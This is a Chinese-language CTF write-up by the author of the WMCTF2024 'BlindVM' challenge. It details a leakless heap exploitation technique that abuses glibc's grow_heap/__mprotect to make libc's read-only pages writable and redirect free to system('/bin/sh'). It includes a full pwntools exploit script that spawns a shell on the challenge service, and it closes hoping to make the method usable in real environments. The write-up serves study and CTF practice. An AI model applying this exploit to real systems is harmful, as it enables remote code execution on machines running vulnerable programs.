WMCTF2024 Pwn BlindVM Writeup 一种无泄漏且无需释放函数的堆利用技术

题目描述

I heard you’re an expert at GLIBC heap exploitation, come try this heap overflow problem!

Notes: The expected solution does not require any brute force; if your solution does, please try another method!

Hint1: https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/arena.c;hb=09fb06d3d60291af6cdb20357dbec2fbb32514de#l596

Hint2: Use heap spraying to make the heap space contiguous with the LIBC space.

题目解析

本题是一个解析 VM 指令的题目,构建启动了一个线程来解析 VM 指令,指令的分析过程比较简单,这里略过。题目提供了三种指令,分别是:

  1. 指令 0 (ADD):允许创建(add)一个堆块 SIZE 小于 0x4000000 的堆块,最多创建 0x10000 个;
  2. 指令 1 (EDIT):允许编辑先前创建的任意堆块的前 0x1000 字节,并允许溢出 4 字节;
  3. 指令 2 (EXIT):释放(free)先前所有创建的堆块,并退出 VM 程序。

值得注意的是,EXIT 指令并非必需。本题的利用手法不需要任何 free 操作。EXIT 指令的存在是为了降低利用难度,便于参赛者更好地关注本题的考点。

题目开启的保护措施有:PIE enabled、Partial RELRO、NX enabled。

解题思路

如何申请得到 LIBC 空间所属的 heap_info 结构

通过 Hint1 可以得知,我们需要调用到 grow_heap 函数中的 __mprotect 函数来劫持 LIBC 空间,本文会从如何调用到 __mprotect 开始往回倒推,分析我们完成此所需的条件,并解决这些条件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int
grow_heap (heap_info *h, long diff)
{
  size_t pagesize = h->pagesize;
  size_t max_size = heap_max_size ();
  long new_size;

  diff = ALIGN_UP (diff, pagesize);
  new_size = (long) h->size + diff;
  if ((unsigned long) new_size > (unsigned long) max_size)
    return -1;

  if ((unsigned long) new_size > h->mprotect_size)
    {
      if (__mprotect ((char *) h + h->mprotect_size,
                      (unsigned long) new_size - h->mprotect_size,
                      mtag_mmap_flags | PROT_READ | PROT_WRITE) != 0)
        return -2;

      h->mprotect_size = new_size;
    }

  h->size = new_size;
  LIBC_PROBE (memory_heap_more, 2, h, h->size);
  return 0;
}

我们的目标是让 __mprotect 的第一个参数为 LIBC 的代码空间,因此我们需要控制 grow_heap 的第一个参数 heap_info 结构体,而此结构来源于 sysmalloc 函数中的 old_heap 变量

1
2
3
4
      old_heap = heap_for_ptr (old_top);
      old_heap_size = old_heap->size;
      if ((long) (MINSIZE + nb - old_size) > 0
          && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)

old_heap 变量又来源于 heap_for_ptr 函数,其中的 heap_max_size() 默认返回 2 * 4 * 1024 * 1024 * sizeof(long)。在 64 位系统上,sizeof(long) 为 8 字节,因此 heap_max_size() 的值为 0x4000000(64 MB)。PTR_ALIGN_DOWN 是一个宏,用于将 ptr 向下对齐到 max_size

1
2
3
4
5
6
static inline heap_info *
heap_for_ptr (void *ptr)
{
  size_t max_size = heap_max_size ();
  return PTR_ALIGN_DOWN (ptr, max_size);
}

ptmalloc 这样设计的原因是,当堆块申请超过 heap_max_size() 后,就会调用 MMAP 进行申请。而低于这个大小的部分,就会使用 ptmalloc 创建的堆管理器进行管理。而在内存布局中,我们线程堆空间的总大小值就为 heap_max_size(),也就是我们通过 __mprotect 最多能够得到的内存空间也就这么多,如果需要更多的空间,ptmalloc 就会重新申请一个 heap_max_size() 那么大的空间,并在其开头设置对应的 heap_info 提供申请。

因此,如果我们能够进入 grow_heap 函数,则意味着我们想要申请的堆块大小一定小于 heap_max_size(),并且通过 top_chunk 向下对齐 heap_max_size() 的方式,也一定能找到当前堆空间对应的 heap_info 结构体。

为了表述方便,这里使用堆空间一词来表述以 heap_max_size() 大小对齐的内存空间,但实际上这里并不一定能够被堆块所申请到。例如“LIBC 所对应的堆空间”指的就是,从 LIBC 所处空间向下对齐的 heap_info 结构开始的 heap_max_size() 大小的这一段内存空间。但实际上 LIBC 所处的空间在正常情况下不会为堆空间,也不会被堆管理器所申请到。

以下面的内存布局为例,我们如果想要触发扩容操作来修改 LIBC 空间,那么我们的 top_chunk 必须要在 LIBC 空间向下对齐 heap_max_size() (即 0x7f4bea800000 & (-0x4000000) = 0x7f4be8000000)为开头的 heap_max_size() 大小的内存空间(即 [0x7f4be8000000, 0x7f4be8000000 + 0x4000000))内存中。

在这样的情况下,我们布置好 heap_info 结构体,调用 malloc 函数,且因为 top_chunk 大小不足而触发扩容,从而调用到 sysmalloc 函数内的 grow_heap 函数时,会调用到 __mprotect 来设置更多的空间供我们堆空间使用。而如果适当的构造和设置,这里就可以成功修改 LIBC 空间的内存属性。

img

如何申请得到间隔空间

首先,我们面临的问题是,LIBC 堆空间对应的 heap_info 所在的内存区域并不存在。因此,我们需要通过 MMAP 申请这段间隔空间。以上面的情况为例,我们要申请的空间正好位于线程堆空间的末尾,距离下一个空间的差距是 0x7f4be9fff000-0x7f4be8000000=0x1fff000,如果我们可以恰好申请这个大小的堆块,则可以申请得到 LIBC 堆空间对应的 heap_info 结构体。

但实际上由于 ASLR 的原因,这里的间隔大小并不是固定的。例如在下面的例子中,偏移就变化为了 0x7ff000,因此我们还要解决需要的申请的大小会变化的问题。

image-20240915132202447

在这里由于题目的限制较少,我们可以利用堆喷的思路,从最大值 HEAP_MAX_SIZE 开始,到最小值 MMAP_THRESHOLD 结束,间隔一个页大小,不断的申请大量堆块。这样当有堆块大小满足时,我们就可以成功的申请到间隔内存,并且申请得到的内存恰好为间隔大小。而其余不符合要求的堆块,则会申请在我们比我们线程堆空间更低地址的部分,不干扰我们后续的利用。在成功使用 MMAP 申请到间隔空间之后,我们还需要让 top_chunk 也申请到间隔空间所处的堆空间。

如何让 old_top 申请到 heap_info 结构位置

我们在上述的过程中,我们让 LIBC 对应的 heap_info 结构位置的空间已经被申请出来。但实际上,我们还需要让 old_top 的值也能够到对应的堆空间。这里通过题目给出了四字节的堆溢出,可以修改 top_chunk 的 SIZE 字段,并通过不断的大堆块申请,申请得到这段空间。

如何绕过申请断言限制

但在实际操作中我们会发现,当我们想要申请得到那段 heap_info 结构的空间时,申请能够成功。但如果我们再次申请,在 __libc_malloc 函数中的这段断言会出错,从而导致程序退出,申请失败。

1
2
 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));

我们重点关注这段代码的 ar_ptr == arena_for_chunk (mem2chunk (victim)) 这个条件,这个条件要求 ar_ptr 也就是当前线程对应的 arena 等于通过计算得出的 victim(通过 _int_malloc 申请得到的指针)对应的 heap_info 结构空间指向的 arena

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  size_t pagesize; /* Page size used when allocating the arena.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

当我们想要申请得到 LIBC 空间的 heap_info 结构体时,如果堆块的起始位置还位于上一个堆空间,那么该断言不会触发。而当我们再次申请后,由于堆块的起始位置已经位于 LIBC 所处的堆空间,而这个堆空间的所处的 heap_info->ar_ptr 还没有设置,因此会导致断言失败。并且因为我们目前是 LEAKLESS 的,所以我们也不能填入的正确值从而修复结构体。

这里的思路是利用堆风水构造一个 Unsorted Bin,其 FD 指针正好处于 LIBC 堆空间所处的 heap_info 结构的 ar_ptr 位置,而因为 Unsorted Bin 的 FD 指针是指向 arena 空间的,因此我们可以部分覆盖低一字节即可将其修复为正确的 arena 地址,从而绕过断言限制。

如何让 old_top 申请到 LIBC 对应位置

从上面的部分可知,如果我们想要修改 LIBC 的内存属性,我们还需要让 top_chunk 移动到对应的 LIBC 空间。从先前的堆空间移动到 LIBC 堆空间的 heap_info 结构体相对来说比较容易,因为这段的距离是固定的。而从 heap_info 结构体移动到 LIBC 对应的空间则比较困难,因为这段的空间是有随机化的,我们不知道应该要申请多少的内存。

这里的思路是设置每一个堆喷的堆块的数据为对应堆喷堆块的大小 + TLS 段到 LIBC 段的固定长度,这里总有一个堆块的数据恰好能够覆盖到 top_chunk 结构的 SIZE,使其恰好为我们想移动的长度。

image-20240915143734625

然后再像先前一样,从大到小的申请,堆喷申请的堆块的 SIZE 只会存在有两种情况,一种是大于 top_chunk 的 SIZE 并且会大于mmap_threshold(0x20000),此时会调用 mmap 来申请内存,另外一种是小于等于 top_chunk 的 SIZE 时,此时会更新 top_chunk 的位置,因此堆喷的堆块总是能够恰好申请到我们想要申请的 LIBC 的对应位置,使其恰好为我们想移动的长度,同时也不会提前触发 grow_heap 的流程。然后再通过一次申请,使其触发扩容,并成功的修改 LIBC 的内存属性。

image-20240915144749314

如何通过修改 LIBC 的只读页到 RCE

接下来的攻击手法类似于 House of Muney,我们只需要干扰 free 的解析过程,使其解析为 system 函数,并在执行 EXIT opcode 的时,触发 system("/bin/sh") 即可 getshell,这里不再赘述。

EXP

在测试过程中,我发现由于本地环境的问题,我的 TLS 段大小与 Docker 环境不一致:我的为 0x800000,而 Docker 环境为 0x803000。为此,我提供了一个 Dockerfile,以下的 EXP 是针对使用该 Dockerfile 构建的靶机环境编写的。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
import base64
import zlib
from pwn import *
# context.log_level = "debug"

context.arch = "amd64"
payloads = []

HEAP_MAX_SIZE = 0x4000000
MINSIZE = 0x20
MMAP_THRESHOLD = 0x20000
PAGE_SIZE = 0x1000
ADD_INDEX = -1


def add(size):
    global ADD_INDEX
    payloads.append(p8(0) + p32(size))
    ADD_INDEX += 1


def edit(idx, size, content):
    payloads.append(p8(1) + p32(idx) + p32(size) + content)


def finish():
    payloads.append(p8(2))


add(0x204a0 - 0x8 - MINSIZE)
edit(ADD_INDEX, 8, "/bin/sh\x00")
for i in range(0x1ff):
    add(MMAP_THRESHOLD - 0x8 - 0x10)
add(PAGE_SIZE * 2 + 0x11)
for i in range(0x1ff):
    add(MMAP_THRESHOLD - 0x8 - 0x10)
add(0x1ff80 - 0x20)
add(PAGE_SIZE * 2 + 0x11)

add_size = HEAP_MAX_SIZE - PAGE_SIZE
end_size = MMAP_THRESHOLD
add_data = '\x00' * 0x20 + p64(0x1020) + p64(0x10) + p64(0x10) + p64(0x1)
while add_size >= end_size:
    add(add_size - 0x8)
    add_size -= PAGE_SIZE
    edit(ADD_INDEX, len(add_data), add_data)

add(0x18)
edit(ADD_INDEX, 0x1C, '\x00' * 0x18 + p32(0x1021))
add(0xfe0 - 8)
add(0x20 - 8)
edit(ADD_INDEX, 1, '\x30')
add(0x20 - 8)
for i in range(0x1ff - 1):
    add(MMAP_THRESHOLD - 0x8 - 0x10)
add(0x1ff80 - 0x20 - 0x20)
add(0x18)
edit(ADD_INDEX, 0x1C, '\x00' * 0x18 + p32(HEAP_MAX_SIZE * 2 + 0x21))
add(HEAP_MAX_SIZE / 2 - 0x8)
add(HEAP_MAX_SIZE / 2 + 0x18)
add(0x18)
edit(ADD_INDEX, 0x18, p64(0x21000) + p64(0x21000) + p64(0x1000))

add_size = HEAP_MAX_SIZE - PAGE_SIZE
end_size = MMAP_THRESHOLD
change_idx = 0x402
while add_size >= end_size:
    add_data = flat({
        0x0: add_size + 2 * PAGE_SIZE + 0x800000,  # size
        0x8: add_size + 2 * PAGE_SIZE + 0x800000,  # mprotect_size
        0x10: 0x1000,  # page_size
        0x18: add_size + 0x1fe0 + 0x800000 + 1
    })
    add_size -= PAGE_SIZE
    edit(change_idx, len(add_data), add_data)
    change_idx += 1
add(0x13C0 - 0x28)
for i in range((0x800000 + 0x1fe0) // (MMAP_THRESHOLD - 0x8 - 0x10)):
    add(MMAP_THRESHOLD - 0x8 - 0x10)

add_size = HEAP_MAX_SIZE - PAGE_SIZE
end_size = MMAP_THRESHOLD
while add_size >= end_size:
    add(add_size)
    add_size -= PAGE_SIZE

add(0x3000) # remote
#add(0xd4d0 + 0x18) # local
add(0xd4d0 + 0x8) # remote
add(0x18)
edit(ADD_INDEX, 0x18, p64(0x0F001200004DDE) + p64(0x50D70) + p64(0x101))
finish()

#gdb.attach(sh, "b *$rebase(0x143B)")
payload = ''.join(payloads)
payload = p32(len(payload)) + payload
#sh = process('./BlindVM')
sh = remote('127.0.0.1', 9999)
sh.send(payload)
sh.interactive()

出题思路

本题的出题思路来源于 N1CTF 2018 NULL 这题,此题没有开启 PIE 保护,因此可以通过堆布局,劫持线程的 arena 中的 fastbins 来申请到函数指针并覆盖为 system 函数获得 shell。在完成这道题的过程中,我发现了当在非主线程使用堆时,可以通过 malloc 调用到 grow_heap 函数,进而调用 __mprotect。如果能利用这一点劫持 LIBC 的只读段,修改其属性为可写,就可以采用 House of Muney 的思路,实现一次无泄漏的利用。基于这个想法,我进行了多次尝试,逐一解决了遇到的问题,最终构建了这道题目。

总结

本题通过巧妙地利用 GLIBC 的内部机制,实现了对 LIBC 只读段的劫持,进而达成无泄漏的攻击。关键步骤包括通过堆喷射技术获取间隔空间,调整 heap_info 结构,绕过断言限制,以及利用 __mprotect 修改内存属性。希望本文的详细解析能够帮助读者深入理解这一高级堆利用技巧,并通过 BlindVM 这题来实践这一手法。由于能力有限且时间仓促,EXP 仍有许多可以优化的地方。在此抛砖引玉,期待与读者共同探讨,弱化这种手法所需的攻击条件,将其转化为在现实环境中真正可用的攻击方法。

0%